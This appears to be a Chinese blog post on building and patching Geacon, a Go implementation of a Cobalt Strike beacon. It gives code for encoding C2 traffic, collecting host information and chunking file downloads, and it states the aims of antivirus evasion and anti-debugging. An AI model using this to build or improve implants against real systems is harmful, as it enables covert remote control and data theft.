從零開始開發CS beacon
0x01 netbios加解密
因為我也才學golang,基本面向github編程,在網上只找到python版加解密的方式,所以需要翻譯成go語言。通過正則匹配加密傳輸的內容,解密執行獲取cmdtype對應的操作,然后加密發送。
編寫加密代碼:
func NetbiosEncode(data []byte) string{ q := "" for _,value := range data{ q += string((int(value)>>4) + int('a'))+string((int(value)&0xf + int('a'))) } return q}
最終成功上線如下,能夠看見心跳包與執行命令都是正常的,說明加解密是沒問題的:


0x02 項目優化
因為上線后,顯示如下,開始我以為是CS顯示問題,后來發現是代碼實現問題:

computer 與 prcoess 都不能正確獲取,我們定位到sysinfo文件夾下meta.go文件,其中實現了收集beacon所在機器基本信息。
BUG-1:獲取進程名
func GetProcessName() string { processName := os.Args[0] //fmt.Printf("processName: %v", processName) // C:\Users\admin\Desktop\cmd.exe // ./cmd slashPos := strings.LastIndex(processName, "\\") if slashPos > 0 { return processName[slashPos+1:] } backslashPos := strings.LastIndex(processName, "/") if backslashPos > 0 { return processName[backslashPos+1:] } return "unknown"}
這里原作者想到的是,帶路徑的執行參數,但是經過我測試,os.Args[0]獲取到的就是當前exe名稱,并不是一個絕對路徑,如果是絕對路徑可以通過下面判斷截取EXE名。這里修改也簡單,直接return processName就正常了。
BUG-2:獲取機器名
func GetComputerName() string { sHostName, _ := os.Hostname() fmt.Printf("sHostName: %v", sHostName) // message too long for RSA public key size if len(sHostName) > 10 { sHostName = sHostName[1 : 10-1] } if runtime.GOOS == "linux" { sHostName = sHostName + " (Linux)" } else if runtime.GOOS == "darwin" { sHostName = sHostName + " (Darwin)" } return sHostName}
這里機器名不能全部顯示,確實跟他注釋的原因一樣,但是經過我測試發現,最長可以使用sHostName[0 : 14]切片。
BUG-3: 不能下載大的文件
當使用download 下載命令時,小文件可以下載,但是略微大的文件會出現如下報錯:

經過多次調試實驗發現,以下語句有問題(我這里通過BP抓包發現的):
fileBuf := make([]byte, 512*1024)
他默認一次傳輸512kb數據,可是在header中如果數據過長會提示:BAD REQUEST: header length is too large
所以這里很簡單,我們就一次傳小點,比如2kb。重新編譯就上線:

0x03 總結
到這里,整個CS beacon適用自定義profile的開發流程就介紹完畢了,優化了原程序BUG,當然還有其他很多可以優化的地方。這個項目Geacon只實現了最基本功能,不像原生beacon那么多樣,你就可以使用golang實現某些CS功能,比如execute-assembly,判斷cmdtype就行。因為我的需求是CS跨平臺的beacon,容易免殺(golang也有一些免殺的trick),后面還可以添加反調試的功能。項目地址:https://github.com/Nan3r/geacon_apt